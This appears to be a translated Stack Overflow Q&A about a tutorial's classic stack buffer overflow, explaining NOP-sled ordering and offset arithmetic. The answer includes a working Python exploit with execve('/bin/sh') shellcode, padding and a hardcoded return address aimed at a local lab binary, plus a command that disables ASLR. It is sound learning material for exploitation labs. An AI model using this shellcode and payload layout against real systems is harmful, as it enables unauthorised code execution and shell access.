所以我尝试按照教程进行操作:https://sploitfun.wordpress.com/2015/05/08/classic-stack-based-buffer-overflow/
我一直在努力弄清楚漏洞利用代码的顺序,至少在某种程度上是这样。
我不明白为什么要先放 NOPS 然后再放 Shell 代码,我也想不通为什么不先放 shellcode 到 buf 然后再放 junk + ret 地址。 我以为这是为了保存内存地址计算,但真的是这个原因吗? 使用您已经拥有的堆栈(比如不“超出”返回地址)不是更简单吗? 为什么不让恶意缓冲区成为: Shellcode + Junk + ret-address(到 shellcode 开头)?是因为有些复杂的内存地址计算......?希望我说清楚了。
提前谢谢你。
编辑:
一个相同的例子(与我运行的代码相同):
最佳答案
我找到了解决问题的方法。
所以,首先,这只能在堆栈范围内利用它(这意味着我只使用缓冲区和堆栈中的返回地址之间的内存来执行代码),而且它确实需要一些额外的计算,但感觉它有点“干净”,可能没有区别但仍然有效。
非 shell 的问题只是我没有注意到我实际上没有对“echo 0 >/proc/sys/kernel/randomize_va_space”进行 sudo,它没有运行。
我正在为仅使用堆栈的漏洞添加代码。 我必须找到 ESP,首先放入 100 个 NOP,然后是代码,然后是一些垃圾 (A),最后是返回地址。
我使用以下方法知道尺寸: 我知道如果我“垃圾”到返回地址(包括)的所有内容,那将是 268+4 (272) 字节。 另外,我的 shellcode 有 25 个字节长,NOP 总共有 100 个字节长。我还必须记住返回地址有 4 个字节长,所以总共:
我需要填充:前 100 个字节的 NOP,然后是 25 个字节的 shell-code,之后是尚未计算的垃圾 block ,最后是 4 个字节的返回地址。
我可以得出结论,垃圾 block 需要是: 272-(100+25+4)=143 字节长。 所以,我所做的是复制“A”143 次。
地址 0xbffff164 源自缓冲区将位于的开始位置是 0xbffff210-272 的事实,并且因为前 100 个字节用于 NOP,所以我们加 100,最后得到 0xbffff164。
这是我留下的代码,它利用了相同的漏洞,只是没有超出返回地址(真的不知道它是否重要,虽然它需要更多计算,但我觉得它更干净) :
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
#Stack address where shellcode is copied.
ret_addr = 0xbffff210 # ESP's value when the whole stack up to the return-address is filled (Hence, this is the where the return address is supposed to be)
#Spawn a shell
#execve(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
#endianess convertion
def conv(num):
return struct.pack("<I",num)
buf = "\x90" * 100
buf += scode
buf += "A"*143
buf += conv(0xbffff164)
print "Calling vulnerable program"
call(["./vuln", buf])
关于python - 为什么这是漏洞利用的结构,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/45651630/